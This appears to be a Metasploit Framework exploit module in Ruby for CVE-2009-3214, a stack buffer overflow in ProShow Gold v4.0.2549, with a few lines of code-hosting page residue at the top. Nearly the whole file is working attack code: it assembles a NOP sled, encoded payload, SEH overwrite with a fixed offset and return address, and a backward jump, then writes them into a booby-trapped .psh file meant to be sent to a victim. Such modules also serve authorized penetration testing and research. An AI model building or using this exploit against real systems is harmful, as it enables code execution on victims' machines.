86 lines
2.3 KiB
Ruby
86 lines
2.3 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.
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An attacker must send the file to victim and the victim must open the file.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-3214' ],
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[ 'OSVDB', '57226' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/9483' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/9519' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# 0x01a614ea # p/p/r @ all.dnt
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[ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 20 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.psh']),
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], self.class)
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end
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def exploit
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sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)
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sploit << payload.encoded
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sploit << generate_seh_record(target.ret)
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# note, just in case the arguments get modified, we'll jump back into our buffer...
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string
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# cause exception hitting the end of the stack
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sploit << rand_text(1000) * 13
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content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"
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content << "cells=1\r\n"
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content << "cell[0].nrOfImages=1\r\n"
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content << "cell[0].images[0].image=" << sploit << "\r\n"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(content)
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end
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end
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